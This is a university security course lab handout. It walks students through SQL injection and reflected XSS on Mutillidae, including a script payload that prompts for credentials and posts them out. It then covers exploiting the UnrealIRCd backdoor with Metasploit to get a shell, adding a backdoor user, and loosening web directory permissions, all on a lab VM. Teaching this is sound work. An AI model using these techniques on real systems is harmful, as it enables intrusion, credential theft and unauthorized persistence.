Lab 4: Web Security

50.020 Security

Hand-out: October 6
Hand-in: October 13, 11am

1 Objectives

- To perform SQL Injection and Cross-Site Scripting on a weak web server.
- To propose security measure against SQL Injection and Cross-Site Scripting.
- To use Metasploit to attack a vulnerable system

2 Part I: SQL Injection

- This exercise will use a virtual machine that we provided with your USB key. The virtual machine is called "metasploitable".
- Start `virtualbox` and start the metaploitable guest. It should have host-only network access with IP 192.168.56.101.
- Go to your host browser and go to: `http://192.168.56.101/mutillidae`.
- On the top of the website, check the **Security Level**. Make sure it is either 0 or 1. If it is neither 0 or 1, click **Toggle Security** on the top menu.
- From the left menu, go to *OWASP Top 10* -> *A1 - Injection* -> *SQLi Extract Data* -> *User Info*. You will be presented with a login page "View Your Details".
- Based on the example from the lecture slides, find a value for both fields that causes an SQL injection.
- Your goal is to enter a string into the name and password field to obtain all the user records, including their usernames and passwords.
- **Checkoff 1:**
  - Demo a successful login with one of the username and password you obtained.
  - Show the string you enter and explain why it works.
  - What is the table name used to display user details?
  - What are the fields in this table?

3 Part II: Cross-Site Scripting

- Go to your host browser and go to: `http://<your metasploitable ip addr>/mutillidae`. For example, `http://192.168.56.101/mutillidae`.
- On the top of the website, check the **Security Level**. Make sure it is either 0 or 1. If it is neither 0 or 1, click **Toggle Security** on the top menu.
- From the left menu, go to *OWASP Top 10 -> A2 - Cross Site Scripting (XSS) -> Reflected (First Order) -> User Info*. You will be presented with a login page "View Your Details".
- Type in the following string into the **Name** text field, and submit.

  ```
  <script>alert('attacked')</script>
  ```

- **Checkoff 2:**
  - Demo an attack where you use some javascript to prompt user for their user name and password, and send it to:

    `"index.php?page=capture-data.php"`

    In an actual attack, the attacker may send data into his own server, but for this exercise we use the feature in Mutillidae to capture the data. *Hint*: Use javascripts to do the following:
    - Prompt users for user name and passwords and store them in a variable.
    - Create a hidden form with two input fields.
      - `http://www.w3schools.com/html/html_forms.asp`
      - `http://www.w3schools.com/jsref/dom_obj_hidden.asp`
    - Submit the form as POST request to page 'capture-data.php'.
    - You can use the following template to start, but you are free to come up with your own script.
      - `http://jsbin.com/faseto/5/edit?js,output`
  - Submit the script from "View Your Details" page. To check whether it is successful or not, you can look at the following file:

    `/var/www/mutillidae/captured_data.txt`

    Go through Part III to access the file.
  - Create URL link to launch the attack where the script is encoded in hex. *Hint: Key in the script that is used to launch the attack into the **Name** text field and press enter. When the dialog box appeared, copy the URL, and modify the part that contain your script with their hex codes.*

4 Part III: Metasploit

- On your host system, run metasploit from the terminal. Start it by typing `msfconsole`. The output should look like:

```
$ msfconsole
.
.
.
msf >
```

- Scan for open ports in out metasploitable server. Replace the IP address with your metasploitable IP.

  ```
  msf > nmap -v -A 192.168.56.101
  ```

  You will see some open ports, and one of them will show the following:

  ```
  6667/tcp open  irc         Unreal ircd
  | irc-info:
  |   users: 1
  |   servers: 1
  |   lusers: 1
  |   lservers: 0
  |   server: irc.Metasploitable.LAN
  |   version: Unreal3.2.8.1. irc.Metasploitable.LAN
  |   uptime: 0 days, 0:07:17
  |   source ident: nmap
  |   source host: AF59FDED.97684684.FFFA6D49.IP
  |_  error: Closing Link: ndlpudnge[192.168.56.1] (Quit: ndlpudnge)
  ```

- Metasploit detect an open port at 6667 for TCP connection that uses Unreal3.2.8.1. It turns out there is an exploit for this one. We can search for an exploit from `msfconsole`.

  ```
  msf > search unreal
  .
  .
  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent
  UnrealIRCD 3.2.8.1 Backdoor Command Execution
  .
  .
  ```

- We can now use the exploit. You can use TAB for auto-completion.

  ```
  msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
  msf exploit(unreal_ircd_3281_backdoor) >
  ```

- Now, check what are the options needed to run the exploit.

  ```
  msf exploit(unreal_ircd_3281_backdoor) > show options
  ```

- Set RHOST to be the IP address of your metasploitable.

```
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
```

- Find available payloads for the exploit.

```
msf exploit(unreal_ircd_3281_backdoor) > show payloads
```

- Choose one of the payloads and set it for the exploit.

```
msf exploit(unreal_ircd_3281_backdoor) > set payloads
```

- Run the exploit

```
msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started bind handler
[*] Connected to 192.168.56.101:6667...
  :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
  :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname;
  using your IP address instead
[*] Sending backdoor command...
[*] Command shell session 1 opened (10.0.2.15:35488 ->
192.168.56.101:4444) at 2014-09-11 13:01:37 +0800
```

  If successful, you will see that a shell session has been opened.

- What you need to do, now, is the following:
  - Check where you are in the server.
  - Check what user account you login as.
  - Check the available group names and make a guess for the group owning the websites. *Hint: It normally contains 'www' in its name.*

    ```
    cut -d: -f1 /etc/group
    ```

- Now, let's create a new user account that has access to website directories. You need to find the corresponding linux commands to do the following:
  - Add user account with some home directory. The user account created should be belong to the group name that you found in the previous step.
  - Change password for your newly created user account.

    ```
    echo "newusername:newpassword" | chpasswd
    ```

  - Change the permission of `/var/www/mutillidae` and its contents to allow writing rights for all members of the group which you found in the previous steps.

- Hack the website mutillidae by doing the following:
  - Login as your new user name through SSH

    ```
    $ ssh user@192.168.56.101
    user@192.168.56.101's password:
    ```

- Go to `/var/www/mutillidae/`.
- Now, we want to check whether we have captured the data during XSS exercise. The user name and password is captured in a text file in your Metasploitable server under:

  `/var/www/mutillidae/captured_data.txt`

  Show that this file contains the password you submit during XSS exercise.
- Now, you need to make the website to be more secure. Edit the file `user-info.php`. This is the page you use to launch the SQL injection and XSS.
  * Go to line 79-83 where you will see the following:

```
$lQuery = "SELECT * FROM accounts WHERE username = '".
$lUsername .
"' AND password ='".
$lPassword .
"'";
```

  * Edit these lines so that it is more secure against SQL Injection and XSS attack.
- Go to your own machine's browser and set the URL to `http://192.168.56.101/mutillidae/`.
- Try to do SQL Injection and XSS attack on the User Info page.

- **Checkoff 3:**
  - Key in the linux commands you used for the above task at eDimension.
  - Demo running the exploit using `msfconsole`.
  - Demo logging in as the newly created user account.
  - Demo SQL Injection and XSS after your modification. Explain what you did with the modification.